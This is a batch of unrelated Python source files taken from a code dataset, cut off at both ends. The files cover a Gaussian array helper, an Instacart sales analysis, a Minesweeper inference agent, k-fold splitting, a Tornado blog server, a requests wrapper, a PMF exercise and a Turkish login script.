KeyboardInterrupt:\n\tprint(\"\\n手动中止程序!\")\n\n","sub_path":"boc_realtime.py","file_name":"boc_realtime.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"254348578","text":"import numpy as np\n\n\ndef calculate2dGaussianArray(xSize, ySize, sigmaX, sigmaY=None, inFrequencySpace=False, fftShift=False):\n \"\"\"Calculate a 2D Gaussian function either in image or Fourier space.\n\n The Gaussian is always pixel centered in the way to be considered\n symmetric in discrete Fourier transform (DFT).\n\n Parameters\n ----------\n xSize, ySize : `int`, greater than 0\n Dimensions of the array to create.\n sigmaX : `float`\n The sigma of the 2D Gaussian along the x axis, in pixels, in image\n space.\n sigmaY : `float`, optional\n The sigma of the 2D Gaussian along the y axis, in pixels, in image\n space. Default ``sigmaX``.\n inFrequencySpace : `bool`, optional\n Deafult False. If True, creates the corresponding Gaussian in Fourier\n space.\n fftShift : `bool`, optional\n Default False. If True, the result array is directly created its\n quadrants shifted so that the Gaussian center is at (0,0).\n\n Returns\n -------\n R : `numpy.ndarray` of `float`\n\n Notes\n -----\n The Gaussian is scaled with the $1/(2\\\\pi \\\\sigma_x \\\\sigma_y)$ factor to\n be normed to 1 in image space, but the array is not normed, its sum is\n close to 1 only if the tails are not cut off. In frequency space, the\n scaling always equals to 1.\n\n Note that for an even size array DFT, the covered frequency range is _not\n symmetric_ due to the 0 frequency (see `numpy.fft.fftfreq`). Hence a pixel\n space input should be asymmetric in values to behave as a \"symmetric\" input\n from the point of the Fourier transform. This is why the Gaussian function\n is always pixel centered.\n\n Raises\n ------\n \"\"\"\n if sigmaY is None:\n sigmaY = sigmaX\n # The left half (LH) should be the smaller for an odd dimension in image\n # space\n xSizeLH = xSize//2\n xSizeRH = xSize - xSizeLH\n ySizeLH = ySize//2\n ySizeRH = ySize - ySizeLH\n\n pixDist = np.arange(np.maximum(xSizeLH, ySizeLH) + 1, dtype=int)\n # Calculate the function in the positive quarter\n twoPi = 2.*np.pi\n if inFrequencySpace:\n sigmaX = xSize/(twoPi*sigmaX)\n sigmaY = ySize/(twoPi*sigmaY)\n yy, xx = np.meshgrid(-0.5*(pixDist[:xSizeLH + 1]/sigmaX)**2,\n -0.5*(pixDist[:ySizeLH + 1]/sigmaY)**2,\n indexing='xy')\n D = np.exp(yy + xx)\n if not inFrequencySpace:\n D /= twoPi*sigmaX*sigmaY\n # Indices in D for the whole array\n xx = np.zeros((ySize, xSize), dtype=int)\n yy = np.zeros((ySize, xSize), dtype=int)\n if fftShift:\n xx[:, :xSizeRH] = pixDist[np.newaxis, :xSizeRH]\n xx[:, xSizeRH:] = pixDist[np.newaxis, xSizeRH:0:-1]\n yy[:ySizeRH, :] = pixDist[:ySizeRH, np.newaxis]\n yy[ySizeRH:, :] = pixDist[ySizeRH:0:-1, np.newaxis]\n else:\n xx[:, xSizeLH:] = pixDist[np.newaxis, :xSizeRH]\n xx[:, :xSizeLH] = pixDist[np.newaxis, xSizeLH:0:-1]\n yy[ySizeLH:, :] = pixDist[:ySizeRH, np.newaxis]\n yy[:ySizeLH, :] = pixDist[ySizeLH:0:-1, np.newaxis]\n\n return D[yy, xx]\n","sub_path":"tickets/DM-26941_test_direct_Gaussians/2d_gaussian_in_freq_space.py","file_name":"2d_gaussian_in_freq_space.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"262438463","text":"import csv\r\nimport time\r\ntimebefore=time.time()\r\nu=0\r\nq=0\r\nc=0\r\nj=0\r\ni=0\r\nk=0\r\nv=0\r\nz=0\r\nr=0\r\nllist=[]\r\navglist=[]\r\nmaxx=0\r\nmaxid=0\r\nleast=1000000000000\r\nleastid=0\r\nwith open('E:\\\\python\\\\New folder\\\\instacart_2017_05_01\\\\order_products__prior.csv') as csvfile:\r\n readproductprior = csv.reader(csvfile)\r\n for row in readproductprior:\r\n if(i>1):\r\n m=int(row[1])\r\n llist.append(m)\r\n #c=c+1\r\n \r\n \r\n #if(c==10000):\r\n # break\r\n i=i+1\r\n\r\n\r\nwith open('E:\\\\python\\\\New folder\\\\instacart_2017_05_01\\\\order_products__train.csv') as csvfile:\r\n readproducttrain = csv.reader(csvfile)\r\n for row in readproducttrain:\r\n if(u>1):\r\n m=int(row[1])\r\n llist.append(m)\r\n #v=v+1\r\n \r\n \r\n #if(v==10000):\r\n # break\r\n u=i+1\r\n \r\n\r\n for j in llist:\r\n p=llist.count(llist[k])\r\n \r\n if(p>maxx):\r\n maxx=p\r\n maxid=llist[k]\r\n if(p1):\r\n p=int(row[0])\r\n if(p==maxid):\r\n print(\"maximum sold product name:\",row[1],\" id:\",maxid,\" number:\",maxx)\r\n break\r\n q=q+1\r\n q=0\r\n for row in readproduct:\r\n if(q>1):\r\n p=int(row[0])\r\n if(p==leastid):\r\n print(\"minimum sold product name:\",row[1],\" id:\",leastid,\" number:\",least,\"\\n\")\r\n break\r\n q=q+1\r\n\r\nq=0\r\n\r\nwith open('E:\\\\python\\\\New folder\\\\instacart_2017_05_01\\\\orders.csv') as csvfile:\r\n readorders = csv.reader(csvfile)\r\n for row in readorders:\r\n if(q>1):\r\n m=int(row[5])\r\n avglist.append(m)\r\n \r\n \r\n \r\n q=q+1\r\n #if(q==100000):\r\n # break\r\n\r\n avglist.sort()\r\n \r\n for row in avglist:\r\n \r\n r=avglist.count(z)\r\n r=float(r)\r\n hod=r/7\r\n hod=round(hod,2)\r\n print(\"avarage soled product per week in\",z,\" o'oclock is: \",hod)\r\n z=z+1\r\n if(z==24):\r\n break\r\n\r\n\r\n\r\n\r\ntimeafter=time.time()\r\ntimet=timeafter-timebefore\r\nprint(\"\\n\",\"time of calculation:\",timet)\r\n\r\n \r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"instacart.py","file_name":"instacart.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"14798433","text":"import board\nimport matrix\nimport numpy as np\nimport m as mat\nimport random\nfrom collections import deque\nfrom copy import deepcopy \n\nclass ImprovedAgent():\n\n def __init__(self, board, mines):\n\n # Original Board\n self.board = board\n\n self.eq = {}\n\n # Expected Number of Squares that can be worked out\n self.knownCells = {}\n\n # Total number of squares stepped on without knowing what they are\n self.risk = 0\n\n # Probabilistic Knowledge Base\n self.pkb = {}\n\n # Board the agent sees\n self.agentBoard = []\n\n # Total mines in a grid\n self.mines = mines\n\n # Number of mines exploded\n self.minesHit = 0\n\n # Set of all cells flagged as mines\n self.minesFlagged = set()\n\n # Set of cells that were visited\n self.visited = set()\n\n # List of cells that will be opened next\n self.moveList = []\n \n # Initialize agentBoard to all unknowns (?)\n self.agentBoard = [[\"?\" for j in range(len(board))] for i in range(len(board))]\n \n # Initialize PKB to 0.5 for every cell given that we don't know how \n # many mines there are\n for i in range(len(board)):\n for j in range(len(board)):\n self.pkb[(i,j)] = 0.5\n\n # Initialize KnownCells Map to 0 for every cell given that we don't have \n # any info\n for i in range(len(board)):\n for j in range(len(board)):\n self.knownCells[(i,j)] = 0\n\n def updateAllUnknownCells(self, unknownCells):\n for cell in unknownCells:\n self.updateUnknownCell(cell)\n\n def updateUnknownCell(self, unknownCell):\n grid = deepcopy(self.agentBoard)\n \n clues = self.getSetOfClues(unknownCell, grid)\n\n if len(clues) == 0:\n return\n\n x = unknownCell[0]\n y = unknownCell[1]\n\n grid[x][y] = \"*\"\n cellPKB = self.buildSubMatrixForRisk(clues, grid)\n R = self.countKnownCells(cellPKB)\n\n grid[x][y] = \"S\"\n cellPKB = self.buildSubMatrixForRisk(clues, grid)\n S = self.countKnownCells(cellPKB)\n\n q = self.pkb[unknownCell]\n expectedCells = float(q)*float(R) + float((1-q))*float(S)\n self.knownCells[unknownCell] = expectedCells\n\n def getSetOfClues(self, cell, grid):\n dim = len(grid)\n visited = [[False for p in range(dim)] for k in range(dim)] \n visited[cell[0]][cell[1]] = True\n currentSet = []\n queue = deque()\n queue.append(cell)\n\n while len(queue) != 0:\n node = queue.popleft()\n for neighbor in self.getNeighbors(node):\n if (isinstance(grid[neighbor[0]][neighbor[1]], int)) and (not visited[neighbor[0]][neighbor[1]]):\n currentSet.append(neighbor)\n queue.append(neighbor)\n visited[neighbor[0]][neighbor[1]] = True\n elif grid[neighbor[0]][neighbor[1]] == \"?\" and isinstance(grid[node[0]][node[1]], int) and not visited[neighbor[0]][neighbor[1]]:\n for n in self.getNeighbors(neighbor):\n if (isinstance(grid[n[0]][n[1]], int)) and (not visited[n[0]][n[1]]):\n currentSet.append(n)\n queue.append(n)\n visited[n[0]][n[1]] = True\n return currentSet\n\n def buildSubMatrixForRisk(self, clues, grid):\n count = 0\n colToCell = {}\n cellToCol = {}\n clueNeighbors = {}\n\n # Map columns to cells \n for clue in clues:\n neighbors = self.getNeighbors(clue)\n clueNeighbors[clue] = neighbors\n for neighbor in neighbors:\n if neighbor not in cellToCol and grid[neighbor[0]][neighbor[1]] == \"?\": \n colToCell[count] = neighbor\n cellToCol[neighbor] = count\n count = count + 1\n\n m_size = len(colToCell)\n\n # m is the matrix that will contain the system of equations\n m = []\n\n # For every clue find the neighbors and for every neighbor that is unknown\n # place a 1 in the equation. Subtract from the clue that is going to be on \n # left side of the equation if there are any neighbors that are flagged as \n # mines or exploded as mines. \n for clue in clueNeighbors.keys():\n neighbors = clueNeighbors[clue]\n mineNeighbors = 0\n newRow = [0 for j in range(m_size+1)]\n for neighbor in neighbors:\n x = neighbor[0]\n y = neighbor[1]\n if grid[x][y] == \"?\":\n newRow[cellToCol[(x, y)]] = 1\n elif grid[x][y] == \"*\" or grid[x][y] == \"F\":\n mineNeighbors = mineNeighbors + 1\n newRow[m_size] = grid[clue[0]][clue[1]] - mineNeighbors\n\n # If the newRow to be added is all 0, no need to add it in. \n if not self.allZero(newRow):\n m.append(newRow)\n\n cellPkb = {}\n if len(m) != 0:\n # Get the probabilites for every clue adjacent cell\n #print(np.array(m))\n currPkb = mat.get_probabilities(np.array(m))\n\n # Convert the column numbers to cells (column) -> (i,j)\n for key in currPkb:\n cellPkb[colToCell[key]] = currPkb[key]\n \n return cellPkb\n\n # Returns the number of known cells (cells with 0 or 1 probability) \n # in a probability map \n def countKnownCells(self, knownMap):\n count = 0\n for key in knownMap:\n if knownMap[key] == 1 or knownMap[key] == 0:\n count = count + 1\n return count\n\n # Method used to update the PKB using the sets of related clues\n def buildForBatch(self, clueList):\n for clues in clueList:\n self.buildSubMatrix(clues)\n\n # Builds the system of equations given a set of clues\n def buildSubMatrix(self, clues):\n count = 0\n colToCell = {}\n cellToCol = {}\n clueNeighbors = {}\n\n # Map columns to cells \n for clue in clues:\n neighbors = self.getNeighbors(clue)\n clueNeighbors[clue] = neighbors\n for neighbor in neighbors:\n if neighbor not in cellToCol and self.agentBoard[neighbor[0]][neighbor[1]] == \"?\": \n colToCell[count] = neighbor\n cellToCol[neighbor] = count\n count = count + 1\n\n m_size = len(colToCell)\n\n # m is the matrix that will contain the system of equations\n m = []\n\n # For every clue find the neighbors and for every neighbor that is unknown\n # place a 1 in the equation. Subtract from the clue that is going to be on \n # left side of the equation if there are any neighbors that are flagged as \n # mines or exploded as mines. \n for clue in clueNeighbors.keys():\n neighbors = clueNeighbors[clue]\n mineNeighbors = 0\n newRow = [0 for j in range(m_size+1)]\n for neighbor in neighbors:\n x = neighbor[0]\n y = neighbor[1]\n if self.agentBoard[x][y] == \"?\":\n newRow[cellToCol[(x, y)]] = 1\n elif self.agentBoard[x][y] == \"*\" or self.agentBoard[x][y] == \"F\":\n mineNeighbors = mineNeighbors + 1\n newRow[m_size] = self.agentBoard[clue[0]][clue[1]] - mineNeighbors\n\n # If the newRow to be added is all 0, no need to add it in. \n if not self.allZero(newRow):\n m.append(newRow)\n\n # If the matrix is not in our EQ map, we can continue to calculate. \n if len(m) != 0 and not self.checkMatrix(clues, m):\n\n # Save the matrix to the EQ map\n self.saveMatrix(clues, m)\n\n # Get the probabilites for every clue adjacent cell\n currPkb = mat.get_probabilities(np.array(m))\n cellPkb = {}\n\n # Convert the column numbers to cells (column) -> (i,j)\n for key in currPkb:\n cellPkb[colToCell[key]] = currPkb[key] \n\n # Update the PKB using cellPKB\n for key in cellPkb:\n self.pkb[key] = cellPkb[key]\n\n # Saves every matrix we build and solve for to our EQ map.\n def saveMatrix(self, clues, m):\n tClue = tuple(clues)\n if tClue not in self.eq:\n self.eq[tClue] = m\n elif tClue in self.eq and self.eq[tClue] != m:\n self.eq[tClue] = m\n\n # Returns true if a matrix already exists in our EQ map\n # This reduces runtime by avoiding recalculation of clue sets we have already \n # calculated for.\n def checkMatrix(self, clues, m):\n tClue = tuple(clues)\n if tClue in self.eq and self.eq[tClue] == m:\n return True\n return False\n\n # Flags all the cells that have a 1 probability of being a mine as a \"F\"\n def updateAgentBoardFromPKB(self):\n # Iterate through the whole PKB and find which cells have probability 1\n for key in self.pkb:\n if key not in self.visited and self.pkb[key] == 1:\n self.visited.add(key)\n self.minesFlagged.add(key)\n # An \"F\" on the agent board ia mine that is flagged and will\n # not be clicked on.\n self.agentBoard[key[0]][key[1]] = \"F\"\n \n # Returns a list of lists of clue cells, where one list in the larger list\n # represents a set of clues that share neighbors and should be evaluated\n # together. This drastically improves the runtime!\n def getRelatedSets(self):\n dim = len(self.board)\n visited = [[False for p in range(dim)] for k in range(dim)]\n relatedSets = []\n for cell in self.visited:\n if isinstance(self.agentBoard[cell[0]][cell[1]], int) and not visited[cell[0]][cell[1]] and self.atLeastOneUknownNeighbor(cell):\n visited[cell[0]][cell[1]] = True\n currentSet = []\n currentSet.append(cell)\n queue = deque()\n queue.append(cell)\n\n while len(queue) != 0:\n node = queue.popleft()\n for neighbor in self.getNeighbors(node):\n if (isinstance(self.agentBoard[neighbor[0]][neighbor[1]], int)) and (not visited[neighbor[0]][neighbor[1]]) and self.sharesUnknownNeighbors(neighbor, node):\n currentSet.append(neighbor)\n queue.append(neighbor)\n elif self.agentBoard[neighbor[0]][neighbor[1]] == \"?\" and not visited[neighbor[0]][neighbor[1]]:\n for n in self.getNeighbors(neighbor):\n if (isinstance(self.agentBoard[n[0]][n[1]], int)) and (not visited[n[0]][n[1]]):\n currentSet.append(n)\n queue.append(n)\n visited[n[0]][n[1]] = True\n visited[neighbor[0]][neighbor[1]] = True\n relatedSets.append(currentSet)\n return relatedSets\n\n # Returns true if two cells share at least one unknown neighbor\n def sharesUnknownNeighbors(self, n, m):\n n = set(self.getNeighbors(n))\n m = set(self.getNeighbors(m))\n\n for k in n:\n if k in m and self.agentBoard[k[0]][k[1]] == \"?\":\n return True\n return False\n\n # Helper function that returns true if a cell has at least one unknown neighbor\n def atLeastOneUknownNeighbor(self, node):\n for n in self.getNeighbors(node):\n if self.agentBoard[n[0]][n[1]] == \"?\":\n return True\n return False\n \n # Calculates the next move by randomly choosing from all the cells \n # that have a minimum probability, but if there are multiple cells\n # with 0 probability we return all of them to improve runtime.\n # Calculates the next move by first performing basic inference on the board,\n # than using advanced inference to calculate the probabilites. Then we apply\n # min cost algorithm and to break any ties we use the min risk algorithm. \n def nextMove(self):\n\n # Perform basic inference\n safe, flags = self.basicInference()\n\n if len(safe) != 0 or len(flags) != 0:\n self.moveList.extend(safe)\n self.updateAgentBoardFromPKB()\n return safe\n\n # Get the sets of related clues \n clues = self.getRelatedSets()\n\n # Recalculate the PKB using these sets of clues\n self.buildForBatch(clues)\n\n # Update the agent board after we have recalculated the PKB\n self.updateAgentBoardFromPKB()\n\n mins = []\n minP = 1\n\n # Get the minimum probability from the PKB\n for key in self.pkb:\n if key not in self.visited and self.pkb[key] < minP:\n minP = self.pkb[key]\n\n if minP == 0:\n for key in self.pkb:\n if key not in self.visited and self.pkb[key] == minP:\n mins.append(key)\n\n mins = self.expandZeros(mins)\n self.moveList.extend(mins)\n nextCell = mins\n elif minP == 1:\n return \"Game Over!\"\n else:\n self.risk = self.risk + 1\n for key in self.pkb:\n if key not in self.visited and self.pkb[key] == minP and not self.allUnknown(key):\n mins.append(key)\n if len(mins) == 0:\n l = self.allCellsNotVisited()\n nextCell = l[random.randint(0, len(l) - 1)]\n else:\n nextCell = self.twoStep(mins)\n \n nextCell = self.expandZeros([nextCell])\n self.moveList.extend(nextCell)\n\n return nextCell\n\n def getActiveUnknowns(self):\n actives = set()\n for cell in self.visited:\n if isinstance(self.agentBoard[cell[0]][cell[1]], int):\n for n in self.getNeighbors(cell):\n if self.agentBoard[n[0]][n[1]] == \"?\":\n actives.add(n)\n return list(actives)\n\n def allUnknown(self, cell):\n for n in self.getNeighbors(cell):\n if isinstance(self.agentBoard[n[0]][n[1]], int):\n return False\n return True\n\n def twoStep(self, cells):\n costMap = {}\n for cell in cells:\n costMap[cell] = self.future(cell)\n\n minCost = min(costMap.values())\n minCell = [cell for cell, cost in costMap.items() if cost == minCost]\n size = len(minCell)\n return minCell[random.randint(0, size-1)]\n\n def future(self, cell):\n costMine = self.pkb[cell]\n costSafe = 0\n\n grid = deepcopy(self.agentBoard)\n grid[cell[0]][cell[1]] = \"*\"\n clues = self.getSetOfClues(cell, grid)\n cellPKB = self.buildSubMatrixForRisk(clues, grid)\n if cellPKB != {}:\n activeUnknowns = self.getActiveFuture(grid)\n cellPKB = self.mergePKB(cellPKB, activeUnknowns)\n minCost = None\n for c in activeUnknowns:\n if minCost == None:\n minCost = self.oneStep(c, grid, cellPKB)\n else:\n minCost = min(minCost, self.oneStep(c, grid, cellPKB))\n costMine = costMine + minCost\n\n return costMine + costSafe\n\n def oneStep(self, cell, grid, pkb):\n costMine = pkb[cell]\n costSafe = 0\n\n g = deepcopy(grid)\n g[cell[0]][cell[1]] = \"*\"\n clues = self.getSetOfClues(cell, g)\n cellPKB = self.buildSubMatrixForRisk(clues, g)\n if cellPKB != {}:\n _, minP = self.getMinCells(cellPKB)\n costMine = costMine + minP\n\n g[cell[0]][cell[1]] = \" \"\n clues = self.getSetOfClues(cell, g)\n cellPKB = self.buildSubMatrixForRisk(clues, g)\n if cellPKB != {}:\n _, minP = self.getMinCells(cellPKB)\n costSafe = costSafe + minP\n\n return costMine + costSafe\n\n def getMinCells(self, cellPKB):\n minP = min(cellPKB.values())\n return [cell for cell, p in cellPKB.items() if p == minP], minP \n\n def getActiveFuture(self, grid):\n actives = set()\n for i in range(len(grid)):\n for j in range(len(grid)):\n if isinstance(grid[i][j], int):\n for n in self.getNeighbors((i,j)):\n if grid[n[0]][n[1]] == \"?\":\n actives.add(n)\n\n return list(actives) \n\n def mergePKB(self, cellPKB, activeUnknowns):\n tempPKB = cellPKB.copy()\n for cell in activeUnknowns:\n tempPKB[cell] = self.pkb[cell]\n return tempPKB\n\n def allCellsNotVisited(self):\n l = []\n for i in range(len(self.board)):\n for j in range(len(self.board)):\n if (i,j) not in self.visited:\n l.append((i,j))\n\n return l\n\n # If the next cell we click is a cell where the clue is a 0, we proceed\n # to open up all the surrounding neighbors and continue this cycle until \n # we have exhausted all 0 clues in the surroundings. We use Breadth-First\n # Search to expand the 0 clues. \n def expandZeros(self, cells):\n moves = []\n dim = len(self.board)\n visited = [[False for p in range(dim)] for k in range(dim)]\n queue = deque()\n queue.extend(cells)\n\n for cell in cells:\n visited[cell[0]][cell[1]] = True\n \n while len(queue) != 0:\n node = queue.popleft()\n moves.append(node)\n\n if self.board[node[0]][node[1]] == 0:\n for n in self.getNeighbors(node):\n if not visited[n[0]][n[1]]:\n queue.append(n)\n visited[n[0]][n[1]] = True\n return moves\n\n # Returns the cell that has the highest number of expected known cells.\n # If maximum number of expected known cells is 0, than we just resort\n # to choose a random cell from the list of cells with minimum probability.\n # Otherwise, we choose a random cell from the list of maxKnownCells.\n def getMaxKnownCell(self, cells):\n # Updates the expected known cells\n self.updateAllUnknownCells(cells)\n\n maxK = 0\n maxKnownCells = []\n\n # Get the maximum number of expected known cells\n for key in self.knownCells:\n if key not in self.visited and self.knownCells[key] > maxK:\n maxK = self.knownCells[key]\n\n # If maxK is 0, then choose a random cell from mins list\n if maxK == 0:\n size = len(cells)\n return cells[random.randint(0, size - 1)]\n\n # Get all the cells with maximum number of expected known cells\n for key in self.knownCells:\n if key not in self.visited and self.knownCells[key] == maxK:\n maxKnownCells.append(key)\n\n size = len(maxKnownCells)\n return maxKnownCells[random.randint(0, size - 1)]\n\n # Performs basic inference on the whole board to reduce the amount\n # of advanced inference needed.\n def basicInference(self):\n dim = len(self.board)\n flaggedMines = []\n safeCells = []\n\n for i in range(dim):\n for j in range(dim):\n if isinstance(self.agentBoard[i][j], int):\n clue = self.agentBoard[i][j]\n mineNeighbors = 0\n safeNeighbors = 0\n unknownNeighbors = []\n totalNeighbors = 0\n\n for n in self.getNeighbors((i,j)):\n totalNeighbors = totalNeighbors + 1\n if self.agentBoard[n[0]][n[1]] == \"*\" or self.agentBoard[n[0]][n[1]] == \"F\":\n mineNeighbors = mineNeighbors + 1\n elif isinstance(self.agentBoard[n[0]][n[1]], int):\n safeNeighbors = safeNeighbors + 1\n else:\n unknownNeighbors.append(n)\n\n if clue - mineNeighbors == len(unknownNeighbors):\n flaggedMines.extend(unknownNeighbors)\n elif totalNeighbors - clue - safeNeighbors == len(unknownNeighbors):\n safeCells.extend(unknownNeighbors)\n\n for m in flaggedMines:\n self.pkb[m] = 1\n\n return self.expandZeros(safeCells), flaggedMines\n\n # Opens a given cell and calls functions to recalculate the PKB based on \n # this new information. \n def makeMove(self):\n while len(self.moveList) != 0:\n coord = self.moveList.pop(0)\n x = coord[0]\n y = coord[1]\n self.visited.add((x, y))\n self.agentBoard[x][y] = self.board[x][y]\n # If we open a mine, update the minesHit attribute and \n # the PKB.\n if self.agentBoard[x][y] == \"*\":\n self.minesHit = self.minesHit + 1\n self.pkb[(x, y)] = 1\n # If we open a clue, update the PKB.\n else:\n self.pkb[(x, y)] = 0\n\n # Method to simplify solving the board and returns the score. \n def solve(self):\n nextCells = self.nextMove()\n while nextCells != \"Game Over!\":\n self.makeMove()\n nextCells = self.nextMove()\n return self.getScore()\n\n # Helper method that checks if a row is all 0\n def allZero(self, row):\n for i in range(len(row)):\n if row[i] != 0:\n return False\n return True\n\n # Gets the score of the agent by returning totalMines - minesHit\n def getScore(self):\n return self.mines - self.minesHit\n\n # Get all valid neighbors\n def getNeighbors(self, coord):\n x = coord[0]\n y = coord[1]\n # Iterate through all possible neighbors\n neighbors = [(x + 1, y), (x - 1, y), (x, y + 1), (x, y - 1), (x + 1, y + 1), (x + 1, y - 1), (x - 1, y + 1),\n (x - 1, y - 1)]\n\n return [(i,j) for (i,j) in neighbors if self.checkPoint(i, j)]\n\n # Helper function to check if a certain point is between 0 and the graphs dimensions\n def checkPoint(self, x, y):\n if (0 <= x < len(self.board)) and (0 <= y < len(self.board)):\n return True\n return False\n","sub_path":"improvedAgent.py","file_name":"improvedAgent.py","file_ext":"py","file_size_in_byte":22579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"58402810","text":"import sys\nfrom sklearn.model_selection import KFold\nimport os\nimport pandas as pd\n\ndef kfold(dataset, folds=5, iszip=False):\n\n def old2new(old, type):\n new = old.replace('.csv', '').replace('.gz', '').replace('.xz', '')\n new = new.replace('/quantise/', '/cv/{0}/quantise/'.format(type))\n #new = new.replace('/origin/', '/cv/{0}/origin/'.format(type))\n new = new.replace('/complete/', '/')\n return new\n\n if dataset.endswith('xz'):\n comprs = 'xz'\n elif dataset.endswith('gz'):\n comprs = 'gzip'\n else:\n comprs = None\n\n df = pd.read_csv(dataset, compression=comprs)\n\n kf = KFold(n_splits=folds, shuffle=True, random_state=2)\n\n i = 0\n\n for train_index, test_index in kf.split(df):\n i += 1\n t2index = {'train': train_index, 'test': test_index}\n\n for t in ['train', 'test']:\n if '_data.csv' in dataset:\n new_file = dataset.replace('_data.csv', f'_{t}{i}_data.csv')\n else:\n new_file = dataset.replace('.csv', f'_{t}{i}.csv')\n new_file = new_file.replace('/complete/', f'/{t}/')\n saved_dir = new_file.rsplit('/', maxsplit=1)[0]\n if not os.path.isdir(saved_dir):\n os.makedirs(saved_dir)\n new_df = df.iloc[t2index[t], :]\n new_df.to_csv(new_file, index=False)\n\n if '_data.csv' in dataset:\n os.system('cp {0}.pkl {1}.pkl'.format(dataset, new_file))\n\nif __name__ == '__main__':\n datasets = []\n for root, dirs, files in os.walk('../datasets/complete'):\n for file in files:\n if file.endswith('.csv') and '_discrete' not in file:\n datasets.append(os.path.join(root, file))\n\n for dataset in datasets:\n kfold(dataset)\n","sub_path":"src/experiment/kfold.py","file_name":"kfold.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"151468882","text":"#!/usr/bin/python\n# encoding: utf-8\nimport os\nfrom handler import HomeHandler, ArchiveHandler, FeedHandler, EntryHandler, ComposeHandler, LogoutHandler, LoginHandler, \\\n CategoryHandler, CategoryPageHandler, ComposePageHandler, PageHandler, UploadImageHandler, EntryModule, PagerModule\n\nimport torndb\nimport tornado.web\nimport tornado.ioloop\nimport tornado.escape\nimport tornado.httpserver\nfrom tornado.options import define, options\n\n\ndefine(\"port\", default=8888, help=\"run on the given port\", type=int)\n\n\nclass Application(tornado.web.Application):\n def __init__(self):\n handlers = [\n (r\"/\", HomeHandler),\n (r\"/archive\", ArchiveHandler),\n (r\"/feed\", FeedHandler),\n (r\"/entry/([^/]+)\", EntryHandler),\n (r\"/compose\", ComposeHandler),\n (r\"/auth/login\", LoginHandler),\n (r\"/auth/logout\", LogoutHandler),\n (r\"/category\", CategoryHandler),\n (r\"/category/([^/]+)\", CategoryPageHandler),\n (r\"/page/compose/{0,1}([^/]*)\", ComposePageHandler),\n (r\"/page/([^/]+)\", PageHandler),\n (r\"/upload\", UploadImageHandler),\n (r\"/content/(.*)\", tornado.web.StaticFileHandler, {\"path\": \"upload\"}),\n ]\n\n settings = dict(\n blog_title=u\"Simple Blog\",\n template_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),\n ui_modules={\"Entry\": EntryModule, \"Pager\": PagerModule},\n xsrf_cookies=True,\n cookie_secret=\"lfdjweirihasdfxwneriosdfasfnizxn\",\n login_url=\"/auth/login\",\n debug=True,\n )\n\n tornado.web.Application.__init__(self, handlers, **settings)\n\n self.db = torndb.Connection(\n host=options.mysql_host, database=options.mysql_database,\n user=options.mysql_user, password=options.mysql_password\n )\n\n\ndef main():\n tornado.options.parse_command_line()\n application = Application()\n http_server = tornado.httpserver.HTTPServer(application)\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"258751789","text":"import requests\n\n\ndef get_response(url):\n \"\"\"\n This method will make the GET call to the endpoint\n URL is provided as a parameter from the method that requests to endpoint call to be made\n :return: This method returns a list with the status_code, response body (actual message) and the url where the request was made\n We use the url to debug the request that is made\n \"\"\"\n response = requests.get(url)\n # print(response)\n rs_code = response.status_code\n rs_body = response.json()\n rs_url = response.url\n return rs_code, rs_body, rs_url\n","sub_path":"Tests/tools/api_request.py","file_name":"api_request.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"519113930","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 1 16:30:18 2016\n\n@author: azg\n\"\"\"\n\nimport chap01soln\nimport thinkstats2\nimport thinkplot\n\nresp = chap01soln.ReadFemResp()\nresp_pmf = thinkstats2.Pmf(resp.numkdhh)\nthinkplot.Pmf(resp_pmf, label=\"Number of Kids PMF\")\nthinkplot.show()\ndef BiasPmf(pmf, label=\"\"):\n new_pmf = pmf.Copy(label=label)\n\n for x, p in pmf.Items():\n new_pmf.Mult(x, x)\n \n new_pmf.Normalize()\n return new_pmf\nbiased_resp_pmf = BiasPmf(resp_pmf, label=\"Number of Kids Biased PMF\")\nthinkplot.Pmf(biased_resp_pmf)\nthinkplot.show()\nresp_pmf_mean = resp_pmf.Mean()\nprint(resp_pmf_mean)\nbiased_resp_pmf_mean = biased_resp_pmf.Mean()\nprint(biased_resp_pmf_mean)","sub_path":"statistics/dsp_actual_biased.py","file_name":"dsp_actual_biased.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"510651655","text":" #Kullanici Giriş\nayrac = \"####################################################################################################\"\n\nprint(ayrac)\nprint(\"Kayit olmak için 'Kayit ol' Giris yapmak için 'Giris yap' yazin\") #Register or Login\nprint(ayrac)\n\nkullaniciAdi = \"\" \nsifre = \"\"\n\n\ntercih = input(\"Yapmak istediğiniz islem nedir ? (K/G) : \") #Yapılacak işlem seçimi K = kayit ol G = giris yap\n###Giriş Yapma Kodu ##############\n\ndef kontrol():\n print(\"Giriş yapmak ister misiniz ? (E/H) \")\n cevap = input(\"Cevap: \" )\n if cevap == \"E\" or cevap == \"e\":\n girisYap()\n elif cevap == \"H\" or cevap == \"h\":\n print(\"Programdan çıkış yapıldı!\")\n else:\n print(\"Geçersiz işlem\")\n\ndef girisYap():\n girisKul = input(\"Kullanıcı adınızı girin: \" )\n girisSifre = input(\"Şifrenizi girin: \" )\n if girisKul == \"\" and girisSifre == \"\":\n print(\"Kullanıcı adı ve şifre boş bırakılamaz!\")\n elif 